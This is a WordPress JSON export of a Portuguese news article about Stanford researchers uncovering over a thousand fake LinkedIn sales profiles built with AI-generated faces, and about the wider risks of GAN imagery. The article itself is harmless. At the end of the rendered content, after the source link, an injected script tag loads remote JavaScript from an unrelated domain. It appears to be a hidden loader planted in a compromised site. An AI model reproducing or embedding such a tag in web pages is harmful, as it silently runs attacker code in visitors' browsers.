{"id":187,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/linkedin-tem-perfis-fake-de-propaganda-com-rostos-criados-por-ia\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"linkedin-tem-perfis-fake-de-propaganda-com-rostos-criados-por-ia","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/linkedin-tem-perfis-fake-de-propaganda-com-rostos-criados-por-ia\/","title":{"rendered":"LinkedIn tem perfis fake de propaganda com rostos criados por IA"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Dois pesquisadores identificaram mais de mil perfis falsos no LinkedIn, utilizando as fotos como crit\u00e9rio de identifica\u00e7\u00e3o. A descoberta, <a href=\"https:\/\/www.npr.org\/2022\/03\/27\/1088140809\/fake-linkedin-profiles\" target=\"_blank\" rel=\"noopener\">divulgada pelo portal NPR<\/a>, foi poss\u00edvel porque os avatares eram de pessoas que n\u00e3o existem &#8211; ou seja, haviam sido gerados por intelig\u00eancia artificial.<\/p>\n<p>As contas teriam sido criadas por ag\u00eancias terceirizadas, com o objetivo de atrair potenciais clientes \u00e0s empresas contratantes.<\/p>\n<p>A pesquisa, comandada por Ren\u00e9e DiResta e Josh Goldstein, do Observat\u00f3rio de Internet de Stanford, foi iniciada ap\u00f3s a pr\u00f3pria DiResta receber em seu LinkedIn mensagens de dois perfis do tipo.<\/p>\n<h2>Falha no cabelo e brinco faltando<\/h2>\n<p>Em seu LinkedIn, a pesquisadora recebeu uma mensagem de uma usu\u00e1ria chamada Keenan Ramsey. Ela explicou fazer parte de um grupo em comum com DiResta e, em seguida, ofereceu um servi\u00e7o de telecomunica\u00e7\u00f5es.<\/p>\n<p>Ao portal NPR, a cientista explicou que inicialmente pretendia ignorar a mensagem, mas que, ao observar mais detalhadamente a foto utilizada pelo perfil, percebeu que se tratava de uma imagem gerada por intelig\u00eancia artificial. Ela identificou falhas no cabelo, um brinco sem par e fundo borrado e de dif\u00edcil identifica\u00e7\u00e3o &#8211; falhas comuns em fotografias criadas por IA.<\/p>\n<p>Ap\u00f3s outro suposto usu\u00e1rio lhe enviar mais uma mensagem com o mesmo conte\u00fado, DiResta decidiu levar o caso ao seu colega de departamento, Goldstein. Foi a\u00ed que os dois iniciaram a pesquisa e encontraram mais de mil outros perfis que tinham o mesmo funcionamento e objetivo.<\/p>\n<p>As contas falsas teriam sido criadas por ag\u00eancias dos Estados Unidos, contratadas por empresas para adquirir leads (contatos de clientes em potencial, com informa\u00e7\u00f5es como nome, e-mail e telefone). Caso o perfil fake despertasse o interesse da pessoa enganada, a conversa era ent\u00e3o transferida a um atendente real dessas empresas, que prosseguia com a venda.<\/p>\n<h2>S\u00f3 pessoas de verdade<\/h2>\n<p>\u00c0 primeira vista, os perfis pareciam verdadeiros porque, al\u00e9m de utilizarem fotos de uma pessoa aparentemente real, tamb\u00e9m tinham uma lista de empregadores, escolaridade e interesses, incluindo nomes como Amazon e a Universidade de Nova York (NYU).<\/p>\n<p>Em resposta ao NPR, as mais de 70 empresas listadas como contratantes destes usu\u00e1rios falsos declararam n\u00e3o ter autorizado a cria\u00e7\u00e3o de contas fake nem o uso de fotografias geradas por IA.<\/p>\n<p>Ao que tudo indica, os criadores dos perfis teriam optado por imagens de intelig\u00eancia artificial como um forma de &#8220;driblar&#8221; as regras de uso do LinkedIn, que n\u00e3o permite a utiliza\u00e7\u00e3o de fotos de outras pessoas.<\/p>\n<p>Ap\u00f3s identificarem as contas falsas, os pesquisadores do Observat\u00f3rio de Internet de Stanford entraram em contato com a plataforma. Em nota, o LinkedIn afirmou ter apagado os perfis que n\u00e3o condiziam com as regras de uso da plataforma, sem especificar o m\u00e9todo utilizado em sua investiga\u00e7\u00e3o.<\/p>\n<p>&#8220;Nossas pol\u00edticas deixam claro que cada perfil do LinkedIn deve representar uma pessoa real. Estamos constantemente atualizando nossas defesas t\u00e9cnicas para melhor identificar e remover perfis falsos de nossa comunidade, como fizemos nesse caso&#8221;, explicou a porta-voz Leonna Spilman, ao NPR.<\/p>\n<h2>Rede Advers\u00e1ria Generativa<\/h2>\n<p>Embora tenha surpreendido pelo objetivo de uso (vendas de produtos em uma rede de contatos corporativos), esta n\u00e3o \u00e9 a primeira vez que imagens geradas por intelig\u00eancia artificial s\u00e3o utilizadas em contas falsas.<\/p>\n<p>A maioria dos usos j\u00e1 relatados s\u00e3o de cunho pol\u00edtico. J\u00e1 houve casos em redes fake para disseminar desinforma\u00e7\u00e3o na China e em perfis que se passaram por pessoas reais para promover conte\u00fado pr\u00f3-Trump durante as elei\u00e7\u00f5es estadunidenses de 2021.<\/p>\n<p>Em fevereiro deste ano, fotos de IA foram utilizadas em perfis falsos para disseminar desinforma\u00e7\u00e3o sobre a Ucr\u00e2nia e mensagens pr\u00f3-R\u00fassia no <a href=\"https:\/\/www.uol.com.br\/tilt\/facebook\/\">Facebook<\/a>, Twitter e YouTube. Na \u00e9poca, as plataformas declararam ter removido as contas.<\/p>\n<p>As imagens geradas por IA s\u00e3o produzidas por uma tecnologia conhecida como &#8220;Rede Advers\u00e1ria Generativa (Generative Adversarial Network, em ingl\u00eas, ou GAN). Criada em 2014, ela funciona por aprendizado de m\u00e1quina e, por causa disso, tem se tornado cada vez mais poderosa e acess\u00edvel.<\/p>\n<p>Hoje, por exemplo, as &#8220;fotografias&#8221; feitas por GAN podem ser encontradas em bancos de imagens. De acordo com o que foi revelado pela pesquisa, os perfis descobertos por DiResta e Goldstein teriam utilizado imagens dispon\u00edveis destes sites.<\/p>\n<h2>Similaridades preocupantes com rostos humanos<\/h2>\n<p>Como a GAN tem funcionamento por aprendizado de m\u00e1quina, ela tende a melhorar seus resultados no decorrer do tempo . Ou seja, as imagens geradas parecem cada vez mais reais. Embora impressione a alguns, essa caracter\u00edstica, a longo e curto prazo, pode ser preocupante, principalmente quando somada \u00e0 acessibilidade da tecnologia.<\/p>\n<p>Uma pesquisa divulgada em 2022 pela revista da Academia Nacional de Ci\u00eancias dos Estados Unidos revelou que rostos falsos t\u00eam apar\u00eancia &#8220;mais confi\u00e1vel&#8221; do que rostos verdadeiros. De acordo com os pesquisadores Sophie J. Nightingale e Hany Farid, &#8220;pessoas&#8221; geradas por intelig\u00eancia artificial hoje em dia s\u00e3o praticamente indistingu\u00edveis de pessoas reais, o que levanta preocupa\u00e7\u00f5es sobre seus poss\u00edveis usos.<\/p>\n<p>Segundo o estudo, uma pessoa tem, em m\u00e9dia, 50% de chance de identificar se uma pessoa representada em uma foto \u00e9 real ou n\u00e3o. Farid explicou ao portal NPR que esta dificuldade provavelmente est\u00e1 relacionada ao fato de que as tecnologias de IA se baseiam nas caracter\u00edsticas faciais mais gerais na hora de desenvolver rostos.<\/p>\n<p>Al\u00e9m de servir como arma pol\u00edtica na dissemina\u00e7\u00e3o de desinforma\u00e7\u00e3o, este tipo de tecnologia \u00e9 preocupante porque pode, por exemplo, ser utilizada em pornografias de vingan\u00e7a, com a cria\u00e7\u00e3o de v\u00eddeos falsos usando deep fake. Outro uso poss\u00edvel seria na persegui\u00e7\u00e3o online a ativistas, com desenvolvimento de m\u00faltiplos perfis com funcionamento similar ao das contas utilizadas pelas ag\u00eancias de marketing (embora com objetivos diferentes).<\/p>\n<p>&#8220;Precisamos de diretrizes \u00e9ticas mais rigorosas e mais marcos legais em vigor <em>[sobre a tecnologia]<\/em> porque inevitavelmente haver\u00e1 pessoas l\u00e1 fora que querem usar <em>[essas imagens]<\/em> para fazer mal&#8221;, apontou Nightingale.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/10\/pesquisadores-usam-ia-para-identificar-perfis-de-propaganda-no-linkedin.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dois pesquisadores identificaram mais de mil perfis falsos no LinkedIn, utilizando as fotos como crit\u00e9rio de identifica\u00e7\u00e3o. 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